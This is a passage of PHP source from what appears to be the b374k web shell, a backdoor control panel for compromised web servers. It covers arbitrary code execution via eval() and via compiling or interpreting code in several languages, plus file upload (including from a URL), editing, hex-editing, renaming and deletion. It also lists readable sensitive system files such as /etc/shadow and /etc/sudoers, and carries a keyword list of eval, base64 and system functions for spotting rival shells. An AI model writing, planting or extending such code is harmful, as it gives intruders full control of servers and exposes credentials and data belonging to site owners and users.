	 	readfile($s_d.$s_f);
	 	die();
	} // rename file or folder
	elseif(isset($_GP['oldname']) && isset($_GP['rename'])){
		$s_old = $_GP['oldname'];
		$s_new = $_GP['rename'];

		$s_renmsg = "";
		if(@is_dir($s_old)) $s_renmsg = (@rename($s_old, $s_new)) ? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new;
		elseif(@is_file($s_old)) $s_renmsg = (@rename($s_old, $s_new)) ? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new;
		else $s_renmsg = "Cannot find the path specified ".$s_old;

		$s_result .= notif($s_renmsg);
		$s_fnew = $s_new;
	} // confirm delete
	elseif(!empty($_GP['del'])){
		$s_del = trim($_GP['del']);
		$s_result .= notif("Delete ".basename($s_del)." ? <a href='".$s_self."delete=".$s_del."'>Yes</a> | <a href='".$s_self."'>No</a>");
	} // delete file
	elseif(!empty($_GP['delete'])){
		$s_f = $_GP['delete'];
		$s_delmsg = "";

		if(@is_file($s_f)) $s_delmsg = (unlink($s_f)) ? "File removed : ".$s_f : "Unable to remove file ".$s_f;
		elseif(@is_dir($s_f)){
			rmdirs($s_f);
			$s_delmsg = (@is_dir($s_f)) ? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f;
		}
		else $s_delmsg = "Cannot find the path specified ".$s_f;
		$s_result .= notif($s_delmsg);
	} // create dir
	elseif(!empty($_GP['mkdir'])){
		$s_f = $s_cwd.$_GP['mkdir'];
		$s_dirmsg = "";

		$s_num = 1;
		if(@is_dir($s_f)){
			$s_pos = strrpos($s_f,"_");
			if($s_pos!==false) $s_num = (int) substr($s_f, $s_pos+1);
			while(@is_dir(substr($s_f, 0, $s_pos)."_".$s_num)){
				$s_num++;
			}
			$s_f = substr($s_f, 0, $s_pos)."_".$s_num;
		}
		if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f;
		else $s_dirmsg = "Unable to create directory ".$s_f;

		$s_result .= notif($s_dirmsg);
	} // php eval() function
	if(isset($_GP['x']) && ($_GP['x']=='eval')){
		$s_code = "";
		$s_res = "";
		$s_evaloption = "";
		$s_lang = "php";

		if(isset($_GP['evalcode'])){
			$s_code = $_GP['evalcode'];
			$s_evaloption = (isset($_GP['evaloption'])) ? $_GP['evaloption']:"";
			$s_tmpdir = get_writabledir();

			if(isset($_GP['lang'])){$s_lang = $_GP['lang'];}

			if(strtolower($s_lang)=='php'){
				ob_start();
				eval($s_code);
				$s_res = ob_get_contents();
				ob_end_clean();
			}
			elseif(strtolower($s_lang)=='python'||strtolower($s_lang)=='perl'||strtolower($s_lang)=='ruby'||strtolower($s_lang)=='node'){
				$s_rand = md5(time().rand(0,100));
				$s_script = $s_tmpdir.$s_rand;
				if(file_put_contents($s_script, $s_code)!==false){
					$s_res = exe($s_lang." ".$s_evaloption." ".$s_script);
					unlink($s_script);
				}
			}
			elseif(strtolower($s_lang)=='gcc'){
				$s_script = md5(time().rand(0,100));
				chdir($s_tmpdir);
				if(file_put_contents($s_script.".c", $s_code)!==false){
					$s_scriptout = $s_win ? $s_script.".exe" : $s_script;
					$s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_evaloption);
					if(@is_file($s_scriptout)){
						$s_res = $s_win ? exe($s_scriptout):exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout);
						rename($s_scriptout, $s_scriptout."del");
						unlink($s_scriptout."del");
					}
					unlink($s_script.".c");
				}
				chdir($s_cwd);
			}
			elseif(strtolower($s_lang)=='java'){
				if(preg_match("/class\ ([^{]+){/i",$s_code, $s_r)){
					$s_classname = trim($s_r[1]);
					$s_script = $s_classname;
				}
				else{
					$s_rand = "b374k_".substr(md5(time().rand(0,100)),0,8);
					$s_script = $s_rand;
					$s_code = "class ".$s_rand." { ".$s_code . " } ";
				}
				chdir($s_tmpdir);
				if(file_put_contents($s_script.".java", $s_code)!==false){
					$s_res = exe("javac ".$s_script.".java");
					if(@is_file($s_script.".class")){
						$s_res .= exe("java ".$s_evaloption." ".$s_script);
						unlink($s_script.".class");
					}
					unlink($s_script.".java");
				}
				chdir($s_pwd);
			}
		}

		$s_lang_available = "<option value='php'>php</option>";
		$s_selected = "";
		$s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_gcc", "s_java");
		foreach($s_access as $s){
			if(isset($$s)){
				$s_t = explode("_", $s);
				$s_checked = ($s_lang == $s_t[1]) ? "selected" : "";
				$s_lang_available .= "<option value='".$s_t[1]."' ".$s_checked.">".$s_t[1]."</option>";
			}
		}

		$s_evaloptionclass = ($s_lang=="php") ? "sembunyi":"";
		$s_e_result = (!empty($s_res)) ? "<pre id='evalres' class='border-top' style='margin:4px 0 0 0;padding:6px 0;' >".hss($s_res)."</pre>":"";
		$s_result .= "<form action='".$s_self."' method='post'>
						<textarea id='evalcode' name='evalcode' style='height:150px;' class='txtarea'>".hss($s_code)."</textarea>
						<table><tr>
						<td><select name='lang' onchange='evalselect(this);' class='inputzbut' style='width:120px;height:30px;padding:4px;'>".$s_lang_available."</select></td>
						<td><p><input type='submit' name='evalcodesubmit' class='inputzbut' value='Go !' style='width:120px;height:30px;' /> <input type='button' class='inputzbut' style='width:120px;height:30px;' onclick='javascript:history.go(-1);' value='Back !' /></p></td>
						<td><div title='If you want to give additional option to interpreter or compiler, give it here' id='additionaloption' class='".$s_evaloptionclass."'>Additional option&nbsp;&nbsp;<input class='inputz' style='width:400px;' type='text' name='evaloption' value='".$s_evaloption."' id='evaloption' /></div></td>
						</tr></table>".$s_e_result."<input type='hidden' name='x' value='eval' />
					</form>";
	} // find
	elseif(isset($_GP['find'])){
		$s_p = $_GP['find'];

		$s_type = isset($_GP['type']) ? $_GP['type'] : "sfile";
		$s_sfname = (!empty($_GP['sfname'])) ? $_GP['sfname'] : '';
		$s_sdname = (!empty($_GP['sdname'])) ? $_GP['sdname'] : '';
		$s_sfcontain = (!empty($_GP['sfcontain'])) ? $_GP['sfcontain'] : '';

		$s_sfnameregexchecked = $s_sfnameicasechecked = $s_sdnameregexchecked = $s_sdnameicasechecked = $s_sfcontainregexchecked = $s_sfcontainicasechecked = $s_swritablechecked = $s_sreadablechecked = $s_sexecutablechecked = "";
		$s_sfnameregex = $s_sfnameicase = $s_sdnameregex = $s_sdnameicase = $s_sfcontainregex = $s_sfcontainicase = $s_swritable = $s_sreadable = $s_sexecutable = false;

		if(isset($_GP['sfnameregex'])){$s_sfnameregex=true;$s_sfnameregexchecked="checked";}
		if(isset($_GP['sfnameicase'])){$s_sfnameicase=true;$s_sfnameicasechecked="checked";}
		if(isset($_GP['sdnameregex'])){$s_sdnameregex=true;$s_sdnameregexchecked="checked";}
		if(isset($_GP['sdnameicase'])){$s_sdnameicase=true;$s_sdnameicasechecked="checked";}
		if(isset($_GP['sfcontainregex'])){$s_sfcontainregex=true;$s_sfcontainregexchecked="checked";}
		if(isset($_GP['sfcontainicase'])){$s_sfcontainicase=true;$s_sfcontainicasechecked="checked";}
		if(isset($_GP['swritable'])){$s_swritable=true;$s_swritablechecked="checked";}
		if(isset($_GP['sreadable'])){$s_sreadable=true;$s_sreadablechecked="checked";}
		if(isset($_GP['sexecutable'])){$s_sexecutable=true;$s_sexecutablechecked="checked";}

		$s_sexecb = (function_exists("is_executable")) ? "<input class='css-checkbox' type='checkbox' name='sexecutable' value='sexecutable' id='se' ".$s_sexecutablechecked." /><label class='css-label' for='se'>Executable</span>" : "";

		$s_candidate = array();
		if(isset($_GP['sgo'])){
			$s_af = "";

			$s_candidate = getallfiles($s_p);
			if($s_type=='sfile') $s_candidate = @array_filter($s_candidate, "is_file");
			elseif($s_type=='sdir') $s_candidate = @array_filter($s_candidate, "is_dir");

			foreach($s_candidate as $s_a){
				if($s_type=='sdir'){
					if(!empty($s_sdname)){
						if($s_sdnameregex){
							if($s_sdnameicase){if(!preg_match("/".$s_sdname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(!preg_match("/".$s_sdname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
						else{
							if($s_sdnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sdname))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(strpos(basename($s_a), $s_sdname)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
					}
				}
				elseif($s_type=='sfile'){
					if(!empty($s_sfname)){
						if($s_sfnameregex){
							if($s_sfnameicase){if(!preg_match("/".$s_sfname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(!preg_match("/".$s_sfname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
						else{
							if($s_sfnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sfname))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(strpos(basename($s_a), $s_sfname)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
					}
					if(!empty($s_sfcontain)){
						$s_sffcontent = @file_get_contents($s_a);
						if($s_sfcontainregex){
							if($s_sfcontainicase){if(!preg_match("/".$s_sfcontain."/i", $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(!preg_match("/".$s_sfcontain."/",  $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
						else{
							if($s_sfcontainicase){if(strpos(strtolower($s_sffcontent), strtolower($s_sfcontain))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
							else{if(strpos($s_sffcontent, $s_sfcontain)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
						}
					}
				}
			}
		}

		$s_f_result = ""; $s_link="";
		foreach($s_candidate as $s_c){
			$s_c = trim($s_c);
			if($s_swritable && !@is_writable($s_c)) continue;
			if($s_sreadable && !@is_readable($s_c)) continue;
			if($s_sexecutable && !@is_executable($s_c)) continue;

			if($s_type=="sfile") $s_link = $s_self."view=".$s_c;
			elseif($s_type=="sdir") $s_link = $s_self."view=".cp($s_c);
			$s_f_result .= "<p class='notif' ondblclick=\"return go('".adds($s_link)."',event);\"><a href='".$s_link."'>".$s_c."</a></p>";
		}

		$s_tsdir = ($s_type=="sdir") ? "selected" : "";
		$s_tsfile = ($s_type=="sfile") ? "selected" : "";

		if(!@is_dir($s_p)) $s_result .= notif("Cannot find the path specified ".$s_p);

		$s_result .= "<form action='".$s_self."' method='post'><div class='mybox'><h2>Find	<span style='float:right;font-size:10px;margin:0 10px;'>(Kill Shell Keys:[eval] [read] [gzinflate] [base64] [str_replace] [system] [passthru] [exec] [popen] [proc_open] [assert] [call_user_func] [gzuncompress] [gzdecode] [str_rot13] [preg_replace])</span></h2><table class='myboxtbl'>
			<tr><td style='width:140px;'>Search in</td><td colspan='2'><input style='width:100%;' value='".cp($s_p)."' class='inputz' type='text' name='find' /></td></tr>
			<tr onclick=\"findtype('sdir');\"><td>Dirname contains</td><td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sdname' value='".$s_sdname."' /></td><td><input type='checkbox' class='css-checkbox' name='sdnameregex' id='sdn' ".$s_sdnameregexchecked." /><label class='css-label' for='sdn'>Regex (pcre)</label> <input type='checkbox' class='css-checkbox' name='sdnameicase' id='sdi' ".$s_sdnameicasechecked." /><label class='css-label' for='sdi'>Case Insensitive</label></td></tr>
			<tr onclick=\"findtype('sfile');\"><td>Filename contains</td><td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfname' value='".$s_sfname."' /></td><td><input type='checkbox' class='css-checkbox' name='sfnameregex'  id='sfn' ".$s_sfnameregexchecked." /><label class='css-label' for='sfn'>Regex (pcre)</label> <input type='checkbox' class='css-checkbox' name='sfnameicase'  id='sfi' ".$s_sfnameicasechecked." /><label class='css-label' for='sfi'>Case Insensitive</label></td></tr>
			<tr onclick=\"findtype('sfile');\"><td>File contains</td><td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfcontain' value='".$s_sfcontain."' /></td><td><input type='checkbox' class='css-checkbox' name='sfcontainregex' id='sff' ".$s_sfcontainregexchecked." /><label class='css-label' for='sff'>Regex (pcre)</label> <input type='checkbox' class='css-checkbox' name='sfcontainicase' id='sffi' ".$s_sfcontainicasechecked." /><label class='css-label' for='sffi'>Case Insensitive</label></td></tr>
			<tr><td>Permissions</td><td colspan='2'><input type='checkbox' class='css-checkbox' name='swritable' id='sw' ".$s_swritablechecked." /><label class='css-label' for='sw'>Writable</label> <input type='checkbox' class='css-checkbox' name='sreadable' id='sr' ".$s_sreadablechecked." /><label class='css-label' for='sr'>Readable</label> ".$s_sexecb."</td></tr>
			<tr><td><select name='type' id='type' class='inputzbut' style='width:120px;height:30px;margin:0;padding:4px;'><option value='sfile' ".$s_tsfile.">Search file</option><option value='sdir' ".$s_tsdir.">Search dir</option></select></td><td><input type='submit' name='sgo' class='inputzbut' value='Search !' style='width:120px;height:30px;' /> <input type='button' class='inputzbut' style='width:120px;height:30px;' onclick='javascript:history.go(-1);' value='Back !' /></td></tr>
		</table></div></form>
		<div>".$s_f_result."</div>";
	} // upload
	elseif(isset($_GP['x']) && ($_GP['x']=='upload')){
		$s_result = " ";
		$s_msg = "";
		if(isset($_GP['uploadhd'])){
			$c = count($_FILES['filepath']['name']);
			for($i = 0; $i<$c; $i++){
				$s_fn = $_FILES['filepath']['name'][$i];
				if(empty($s_fn)) continue;
				if(is_uploaded_file($_FILES['filepath']['tmp_name'][$i])){
					$s_p = cp($_GP['savefolder'][$i]);
					if(!@is_dir($s_p)) mkdir($s_p);
					if(isset($_GP['savefilename'][$i]) && (trim($_GP['savefilename'][$i])!="")) $s_fn = $_GP['savefilename'][$i];
					$s_tm = $_FILES['filepath']['tmp_name'][$i];
					$s_pi = cp($s_p).$s_fn;
					$s_st = @move_uploaded_file($s_tm,$s_pi);
					if($s_st) $s_msg .= notif("File uploaded to <a href='".$s_self."view=".$s_pi."'>".$s_pi."</a>");
					else $s_msg .= notif("Failed to upload ".$s_fn);
				}
				else $s_msg .= notif("Failed to upload ".$s_fn);
			}
		}
		elseif(isset($_GP['uploadurl'])){
			// function dlfile($s_url,$s_fpath)
			$c = count($_GP['fileurl']);
			for($i = 0; $i<$c; $i++){
				$s_fu = $_GP['fileurl'][$i];
				if(empty($s_fu)) continue;

				$s_p = cp($_GP['savefolderurl'][$i]);
				if(!@is_dir($s_p)) mkdir($s_p);

				$s_fn = basename($s_fu);
				if(isset($_GP['savefilenameurl'][$i]) && (trim($_GP['savefilenameurl'][$i])!="")) $s_fn = $_GP['savefilenameurl'][$i];
				$s_fp = cp($s_p).$s_fn;
				$s_st = dlfile($s_fu,$s_fp);
				if($s_st) $s_msg .= notif("File uploaded to <a href='".$s_self."view=".$s_fp."'>".$s_fp."</a>");
				else $s_msg .= notif("Failed to upload ".$s_fn);
			}
		}
		else{
			if(!@is_writable($s_cwd)) $s_msg = notif("Directory ".$s_cwd." is not writable, please change to a writable one");
		}

		if(!empty($s_msg)) $s_result .= $s_msg;
		$s_result .= "
			<form action='".$s_self."' method='post' enctype='multipart/form-data'><div class='mybox'><h2><div class='but' onclick='adduploadc();'>+</div>Upload from computer</h2><table class='myboxtbl'><tbody id='adduploadc'><tr><td style='width:140px;'>File</td><td><input type='file' name='filepath[]' class='inputzbut' style='width:400px;margin:0;' /></td></tr><tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolder[]' value='".$s_cwd."' /></td></tr><tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilename[]' value='' /></td></tr></tbody><tfoot><tr><td>&nbsp;</td><td><input type='submit' name='uploadhd' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' /> <input type='button' class='inputzbut' style='width:120px;height:30px;' onclick='javascript:history.go(-1);' value='Back !' /><input type='hidden' name='x' value='upload' /></td></tr></tfoot></table></div></form>
			<form action='".$s_self."' method='post'><div class='mybox'><h2><div class='but' onclick='adduploadi();'>+</div>Upload from internet</h2><table class='myboxtbl'><tbody id='adduploadi'><tr><td style='width:150px;'>File URL</td><td><input style='width:100%;' class='inputz' type='text' name='fileurl[]' value='' /></td></tr><tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolderurl[]' value='".$s_cwd."' /></td></tr><tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilenameurl[]' value='' /></td></tr></tbody><tfoot><tr><td>&nbsp;</td><td><input type='submit' name='uploadurl' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' /> <input type='button' class='inputzbut' style='width:120px;height:30px;' onclick='javascript:history.go(-1);' value='Back !' /><input type='hidden' name='x' value='upload' /></td></tr></tfoot></table></div></form>";
	} // view file
	elseif(isset($_GP['view'])){
		$s_f = $_GP['view'];
		if(isset($s_fnew) && (trim($s_fnew)!="")) $s_f = $s_fnew;

		$s_owner = "";
		if(@is_file($s_f)){
			$targetdir = dirname($s_f);
			chdir($targetdir);
			$s_cwd = cp(getcwd());
			setcookie("cwd", $s_cwd ,time() + $s_login_time);

			if(!$s_win && $s_posix){
				$s_name = posix_getpwuid(fileowner($s_f));
				$s_group = posix_getgrgid(filegroup($s_f));
				$s_owner = "<tr><td>Owner</td><td>".$s_name['name']."<span class='gaya'>:</span>".$s_group['name']."</td></tr>";
			}
			$s_filn = basename($s_f);
			$s_dlfile = get_archiver_available();
			$s_dlfile = str_replace("__dlpath__",$s_filn,$s_dlfile);
			$s_dlfile = str_replace("__dlcwd__",$s_cwd,$s_dlfile);
			$s_result .= "<table class='viewfile' style='width:100%;'>
			<tr><td style='width:140px;'>Filename</td><td><span id='".cs($s_filn)."_link'>".$s_f."</span><div id='".cs($s_filn)."_form' class='sembunyi'><form action='".$s_self."' method='post'><input type='hidden' name='oldname' value='".$s_f."' style='margin:0;padding:0;' /><input type='hidden' name='view' value='".$s_f."' /><input class='inputz' style='width:200px;' type='text' name='rename' value='".$s_f."' /><input class='inputzbut' type='submit' value='Go !' /></form><input class='inputzbut' type='button' value='x' onclick=\"tukar_('".cs($s_filn)."_form','".cs($s_filn)."_link');\" /></div></td></tr>
			<tr><td>Size</td><td>".gs($s_f)." (".@filesize($s_f).")</td></tr>
			<tr><td>Permission</td><td>".gp($s_f)."</td></tr>".$s_owner."
			<tr><td>Create time</td><td>".@date("Y-m-d H:i:s",filectime($s_f))."</td></tr>
			<tr><td>Last modified</td><td>".@date("Y-m-d H:i:s",filemtime($s_f))."</td></tr>
			<tr><td>Last accessed</td><td>".@date("Y-m-d H:i:s",fileatime($s_f))."</td></tr>
			<tr><td>Actions</td><td><a href='".$s_self."edit=".$s_f."'>Edit</a> | <a href='".$s_self."hexedit=".$s_f."'>Hex</a> | <a href=\"javascript:tukar_('".cs($s_filn)."_link','".cs($s_filn)."_form');\">Ren</a> | <a href='".$s_self."del=".$s_f."'>Del</a> ".$s_dlfile."</td></tr>
			<tr><td>View</td><td><a href='".$s_self."view=".$s_f."&type=text'>Text</a> | <a href='".$s_self."view=".$s_f."&type=code'>Code</a> | <a href='".$s_self."view=".$s_f."&type=image'>Image</a> | <a href='".$s_self."view=".$s_f."&type=audio'>Audio</a> | <a href='".$s_self."view=".$s_f."&type=video'>Video</a></td></tr>
			</table>";

			$s_t = ""; $s_mime = "";
			$s_mime_list = gzinflate(base64_decode($s_mime_types));
			$s_ext_pos = strrpos($s_f, ".");
			if($s_ext_pos!==false){
				$s_ext = trim(substr($s_f, $s_ext_pos),".");
				if(preg_match("/([^\s]+)\ .*".$s_ext.".*/i",$s_mime_list,$s_r)){
					$s_mime = $s_r[1];
				}
			}

			$s_iinfo = @getimagesize($s_f);
			if(strtolower(substr($s_filn,-3,3)) == "php") $s_t = "code";
			elseif(is_array($s_iinfo)) $s_t = 'image';
			elseif(!empty($s_mime)) $s_t = substr($s_mime,0,strpos($s_mime,"/"));

			if(isset($_GP['type'])) $s_t = $_GP['type'];

			if($s_t=="image"){
				$s_width = (int) $s_iinfo[0];
				$s_height = (int) $s_iinfo[1];
				$s_imginfo = "Image type = ( ".$s_iinfo['mime']." )<br />Image Size = <span class='gaul'>( </span>".$s_width." x ".$s_height."<span class='gaul'> )</span><br />";
				if($s_width > 800){
					$s_width = 800;
					$s_imglink = "<p><a href='".$s_self."img=".$s_filn."'><span class='gaul'>[ </span>view full size<span class='gaul'> ]</span></a></p>";
				}
				else $s_imglink = "";

				$s_result .= "<div class='viewfilecontent' style='text-align:center;'>".$s_imglink."<img width='".$s_width."' src='".$s_self."img=".$s_filn."' alt='".$s_filn."' style='margin:8px auto;padding:0;border:0;' /></div>";

			}
			elseif($s_t=="code"){
				$s_result .= "<div class=\"viewfilecontent\">";
				$s_file = wordwrap(@file_get_contents($s_f),160,"
",true);
				$s_buff = highlight_string($s_file,true);
				$s_old = array("0000BB", "000000", "FF8000", "DD0000", "007700");
				$s_new = ($s_theme=="bright")? $s_highlight_bright:$s_highlight_dark;
				$s_buff = str_replace($s_old,$s_new, $s_buff);
				$s_result .= $s_buff;
				$s_result .=  "</div>";
			}
			elseif($s_t=="audio" || $s_t=="video"){
				$s_result .= "<div class='viewfilecontent' style='text-align:center;'><".$s_t." controls><source src='".$s_self."dltype=raw&dlpath=".$s_f."' type='".$s_mime."'><object data='".$s_self."dltype=raw&dlpath=".$s_f."'><embed src='".$s_self."dltype=raw&dlpath=".$s_f."'></object></".$s_t."></div>";
			}
			else {
				$s_result .= "<pre style='padding: 3px 8px 0 8px;' class='viewfilecontent'>";
				$s_result .=  str_replace("<", "&lt;",str_replace(">", "&gt;",(wordwrap(@file_get_contents($s_f),160,"
",true))));
				$s_result .=   "</pre>";
			}
		}
		elseif(@is_dir($s_f)){
			chdir($s_f);
			$s_cwd = cp(getcwd());
			setcookie("cwd", $s_cwd ,time() + $s_login_time);
			$s_result .= showdir($s_cwd);
		}
		else $s_result .= notif("Cannot find the path specified ".$s_f);

	} // edit file
	elseif(isset($_GP['edit'])){
		$s_f = $_GP['edit'];
		$s_fc = ""; $s_fcs = "";

		if(isset($_GP['new']) && ($_GP['new']=='yes')){
			$s_num = 1;
			if(@is_file($s_f)){
				$s_pos = strrpos($s_f,"_");
				if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1);
				while(@is_file(substr($s_f,0,$s_pos)."_".$s_num)){
					$s_num++;
				}
				$s_f = substr($s_f,0,$s_pos)."_".$s_num;
			}
		}
		else if(@is_file($s_f)) $s_fc = @file_get_contents($s_f);

		if(isset($_GP['fc'])){
			$s_fc = $_GP['fc'];
			$s_eol = $_GP['eol'];
			$s_eolf = pack("H*", geol($s_fc));
			$s_eolh = pack("H*", $s_eol);
			$s_fc = str_replace($s_eolf, $s_eolh, $s_fc);

			if($s_filez = fopen($s_f,"w")){
				$s_time = @date("Y-m-d H:i:s",time());
				if(fwrite($s_filez,$s_fc)!==false) $s_fcs = "File saved @ ".$s_time;
				else $s_fcs = "Failed to save";
				fclose($s_filez);
			}
			else $s_fcs = "Permission denied";
		}
		elseif(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable";

		$s_eol = geol($s_fc);

		if(!empty($s_fcs)) $s_result .= notif($s_fcs);
		$s_result .= "<form action='".$s_self."' method='post'><textarea id='fc' name='fc' class='txtarea'>".hss($s_fc)."</textarea><p style='text-align:center;'><input type='text' class='inputz' style='width:99%;' name='edit' value='".$s_f."' /></p><p><input type='submit' name='fcsubmit' class='inputzbut' value='Save !' style='width:120px;height:30px;' /> <input type='button' class='inputzbut' style='width:120px;height:30px;' onclick='javascript:history.go(-1);' value='Back !' /></p><input type='hidden' name='eol' value='".$s_eol."' /></form>";

	} // hex edit file
	elseif(isset($_GP['hexedit'])){
		$s_f = $_GP['hexedit'];
		$s_fc = "";	$s_fcs = ""; $s_hexes = "";
		$s_lnum = 0;

		if(!empty($_GP['hexes']) || !empty($_GP['hexestxtarea'])){
			if(!empty($_GP['hexes'])){
				foreach($_GP['hexes'] as $s_hex) $s_hexes .= str_replace(" ", "", $s_hex);
			}
			elseif(!empty($_GP['hexestxtarea'])){
				$s_hexes = trim($_GP['hexestxtarea']);
			}
			if($s_filez = fopen($s_f,"w")){
					$s_bins = pack("H*", $s_hexes);
					$s_time = @date("Y-m-d H:i:s", time());
					if(fwrite($s_filez,$s_bins)!==false) $s_fcs = "File saved @ ".$s_time;
					else $s_fcs = "Failed to save";
					fclose($s_filez);
				}
			else $s_fcs = "Permission denied";
		}
		else if(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable";

		if(!empty($s_fcs)) $s_result .= notif($s_fcs);

		$s_result .= "<form action='".$s_self."' method='post'><p style='padding:0;text-align:center;'><input type='text' class='inputz' style='width:100%;' name='hexedit' value='".$s_f."' /></p><table class='explore'>";

		if(@is_file($s_f)){
			$s_fp = fopen($s_f, "r");
			if($s_fp) {
				$s_ldump = "";
				$s_counter = 0;
				$s_icounter = 0;
				while(!feof($s_fp)){
					$s_line = fread($s_fp, 32);
					$s_linehex = strtoupper(bin2hex($s_line));
					$s_linex = str_split($s_linehex, 2);
					$s_linehex = implode(" ", $s_linex);
					$s_addr = sprintf("%08xh", $s_icounter);

					$s_result .= "<tr><td style='text-align:center;width:60px;'>".$s_addr."</td><td style='text-align:left;width:594px;'><input onselect='this.selectionEnd=this.selectionStart;' onclick=\"hexupdate('".$s_counter."',event);\" onkeydown=\"return hexfix('".$s_counter."',event);\" onkeyup=\"hexupdate('".$s_counter."',event);\" type='text' class='inputz' id='hex_".$s_counter."' name='hexes[]' value='".$s_linehex."' style='width:578px;' maxlength='".strlen($s_linehex)."' /></td><td style='text-align:left;letter-spacing:2px;'><pre name='hexdump' id='dump_".$s_counter."' style='margin:0;padding:0;'></pre></td></tr>";
					$s_counter++;
					$s_icounter+=32;
				}
				$s_result .= "<input type='hidden' id='counter' value='".$s_counter."' />";
				$s_result .= "<textarea name='hexestxtarea' id='hexestxtarea' class='sembunyi'></textarea>";
				fclose($s_fp);
			}
		}
		$s_result .= "</table><p><input type='button' class='inputzbut' style='width:120px;height:30px;' onclick='javascript:history.go(-1);' value='Back !' /></p></form>";

	} // show server information
	elseif(isset($_GP['x']) && ($_GP['x']=='info')){
		$s_result = "";
		// server misc info
		$s_result .= "<p class='notif' onclick=\"toggle('info_server')\">Server Info</p>";
		$s_result .= "<div class='info' id='info_server'><table>";

		if($s_win){
			foreach (range("A", "Z") as $s_letter){
				if((@is_dir($s_letter.":\") && @is_readable($s_letter.":\"))){
					$s_drive = $s_letter.":";
					$s_result .= "<tr><td>drive ".$s_drive."</td><td>".ts(disk_free_space($s_drive))." free of ".ts(disk_total_space($s_drive))."</td></tr>";
				}
			}
		}
		else $s_result .= "<tr><td>root partition</td><td>".ts(@disk_free_space("/"))." free of ".ts(@disk_total_space("/"))."</td></tr>";

		$s_result .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
		$s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_gcc", "s_java", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl");
		foreach($s_access as $s){
			$s_t = explode("_", $s);
			if(isset($$s)) $s_result .= "<tr><td>".$s_t[1]."</td><td>".$$s."</td></tr>";
		}

		if(!$s_win){
			$s_interesting = array("/etc/passwd","/etc/shadow","/etc/group","/etc/issue","/etc/issue.net","/etc/motd","/etc/sudoers","/etc/hosts","/etc/aliases","/proc/version","/etc/resolv.conf","/etc/sysctl.conf","/etc/named.conf","/etc/network/interfaces","/etc/squid/squid.conf","/usr/local/squid/etc/squid.conf","/etc/ssh/sshd_config","/etc/httpd/conf/httpd.conf","/usr/local/apache2/conf/httpd.conf","/etc/apache2/apache2.conf","/etc/apache2/httpd.conf","/usr/pkg/etc/httpd/httpd.conf","/usr/local/etc/apache22/httpd.conf","/usr/local/etc/apache2/httpd.conf","/var/www/conf/httpd.conf","/etc/apache2/httpd2.conf","/etc/httpd/httpd.conf","/etc/lighttpd/lighttpd.conf","/etc/nginx/nginx.conf","/etc/fstab","/etc/mtab","/etc/crontab","/etc/inittab","/etc/modules.conf","/etc/modules");
			foreach($s_interesting as $s_f){
				if(@is_file($s_f) && @is_readable($s_f)) $s_result .= "<tr><td>".$s_f."</td><td><a href='".$s_self."view=".$s_f."'>".$s_f." is readable</a></td></tr>";
			}
		}
		$s_result .= "</table></div>";

		if(!$s_win){
			// cpu info
			if($s_i_buff=trim(@file_get_contents("/proc/cpuinfo"))){
				$s_result .= "<p class='notif' onclick=\"toggle('info_cpu')\">CPU Info</p>";
				$s_result .= "<div class='info' id='info_cpu'>";
				$s_i_buffs = explode("

", $s_i_buff);
				foreach($s_i_buffs as $s_i_buffss){
					$s_i_buffss = trim($s_i_buffss);
					if($s_i_buffss!=""){
						$s_i_buffsss = explode("
", $s_i_buffss);
						$s_result .= "<table>";
						foreach($s_i_buffsss as $s_i){
							$s_i = trim($s_i);
							if($s_i!=""){
								$s_ii = explode(":",$s_i);
								if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>";
							}
						}
						$s_result .= "</table>";
					}
				}
				$s_result .= "</div>";
			}

			// mem info
			if($s_i_buff=trim(@file_get_contents("/proc/meminfo"))){
				$s_result .= "<p class='notif' onclick=\"toggle('info_mem')\">Memory Info</p>";
				$s_i_buffs = explode("
", $s_i_buff);
				$s_result .= "<div class='info' id='info_mem'><table>";
				foreach($s_i_buffs as $s_i){
					$s_i = trim($s_i);
					if($s_i!=""){
						$s_ii = explode(":",$s_i);
						if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>";
					}
					else $s_result .= "</table><table>";
				}
				$s_result .= "</table></div>";
			}

			// partition
			if($s_i_buff=trim(@file_get_contents("/proc/partitions"))){
